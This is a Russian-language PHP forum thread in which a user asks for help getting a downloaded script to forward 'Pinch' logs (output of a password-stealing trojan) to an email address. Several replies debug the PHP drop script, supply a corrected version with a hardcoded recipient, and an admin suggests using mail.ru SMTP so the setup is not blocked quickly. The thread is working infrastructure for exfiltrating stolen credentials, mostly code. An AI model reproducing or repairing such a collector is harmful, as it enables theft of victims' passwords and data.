Помогите разоьраться в скрипте!

Тема в разделе "PHP программирование", создана пользователем LENAALIK, 10 окт 2005.

Статус темы:
Закрыта.
  1. LENAALIK

    LENAALIK Гость

    Значит так вот я скачала скрипт для отправки логов пинча на мыло.Да вот разобраться не могу.

    Код:
    <?
    $ip=getenv("REMOTE_ADDR");
    $email=$_POST['a'];
    $subject=$_POST['b']."(".$ip.")";
    $msg=$_POST['c'];
    $tmp = $msg;
    $msg=eregi_replace(" ","+",$tmp);
    $headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
    $headers .= "Content-Transfer-Encoding: base64\n";
    $headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
    mail($email, $subject, $msg, $headers);
    ?>

    <!-- REQUIRED -->
    <script language="JavaScript">
    window.status = "_ret_ok_1";
    </script></body></html>

    Я так и посмотрела и подставила такие данные.


    Код:
    <?
    $ip=getenv("REMOTE_ADDR");
    $email=$_POST['Sanya@yandex.ru'];
    $subject=$_POST['Theme']."(".$ip.")";
    $msg=$_POST['Pinch'];
    $tmp = $msg;
    $msg=eregi_replace(" ","+",$tmp);
    $headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
    $headers .= "Content-Transfer-Encoding: base64\n";
    $headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
    mail($email, $subject, $msg, $headers);
    ?>

    <!-- REQUIRED -->
    <script language="JavaScript">
    window.status = "_ret_ok_1";
    </script></body></html>

    Но он почему то не шлёт логи помогите мне скажите в чём моя ошибка.
    :)
     
  2. Guest_Priest_*

    Guest_Priest_* Гость

    $email=$_POST['Sanya@yandex.ru'];
    $subject=$_POST['Theme']."(".$ip.")";


    a otkuda v $_POST'e vozmetsa chto to 'Sanya@yandex.ru' => "milo kuda slat" :)
     
  3. Andrew Stephanoff

    Andrew Stephanoff Гость

    подставляй
    Код (Text):
    $email="Sanya@yandex.ru";
    $subject="Theme(".$ip.")";
    $msg="Pinch";
     
  4. admin

    admin Well-Known Member

    Регистрация:
    8 авг 2003
    Сообщения:
    2.811
    Симпатии:
    0
    Для: LENAALIK
    а чего так всё сложно?
    еслти ты пинч юзала, то мыло там проставляется в проге, которая постом уже кидает всё скрипту.
    вообще не советую я тебе такой подход. быстро заблочат.
    лучше SMTP юзай на mail.ru
     
  5. LENAALIK

    LENAALIK Гость

    Спасибо. Действительно проще. Только хотела дописать рассылку на
    несколько адресов, но проблема в том, что все правильно,
    но рассылка идет только по первому адресу... А на остальные приходит
    сообщение: не доставлено на первый адрес, куда все пришло... :)

    Почему так? :)
     
  6. Andrew Stephanoff

    Andrew Stephanoff Гость

    значит неправильно, код в студию
     
  7. Гость

    Тут все просто. Посмотри на формулировку - определение массива $_POST[].
    Это массив с переменными, куда записываются данные, которые переданы на страницу методом POST.
    Так делает форма, с методом post:
    Код (Text):
    <form action="ask.php" method="post" name="askform">
    Теперь давай сделаем эту форму:
    Скрипт состоит из 2х страниц:
    1:
    Код (Text):
    <form action="ask.php" method="post" name="askform">
    E-Mail:<br>
    <input type="text" name="UserMail" size="60"><br>
    Subj:<br>
    <input type="text" name="UserSubj" size="60"><br>
    Message:<br>
    <textarea name="UserMessage" cols="48" rows="7"></textarea>
    <hr>
    <input type="submit" name="Submit" value="Отправить">
    2:(страница называется ask.php и находится в той же директории, что и страница с формой)
    Код (Text):
    <?
    $ip=getenv("REMOTE_ADDR");
    /*Обрати внимание, что в массиве $_POST указаны имена полей формы*/
    $email=$_POST['UserMail']; //Здесь адрес, который ввели в форме на предыдущей странице
    $subject=$_POST['UserSubj']."(".$ip.")"; //Тут тема и IP отправителя
    $msg=$_POST['UserMessage']; //Тут сообщение, которое набрали на предыдущей странице в форме
    $msg=eregi_replace(" ","+",$tmp); //Тут, все пробелы в сообщении заменяются на "+" (?зачем?)
    $headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
    $headers .= "Content-Transfer-Encoding: base64\n";
    $headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n"; //Тут подвесили аттач.
    mail($email, $subject, $msg, $headers); //А тут отправили на ящик тебе
    /*У некоторых хостеров для борьбы со спамом отключена функция mail() так что тебе придется уточнить*/
    ?>
    Если форму заполнять не хочется, а логи отправляться будут только тебе, то как самая простая модификация (работает при вызове страницы, 1 страница не нужна).
    Код (Text):
    <?
    $ip=getenv("REMOTE_ADDR");
    $email="sanya@yandex.ru"; //Здесь твой адрес
    $subject="Theme"."(".$ip.")"; //Тут тема и IP
    $msg=$_POST['Pinch'];
    $msg=eregi_replace(" ","+",$tmp);
    $headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
    $headers .= "Content-Transfer-Encoding: base64\n";
    $headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
    mail($email, $subject, $msg, $headers);
    ?>
     
Загрузка...
Статус темы:
Закрыта.

Поделиться этой страницей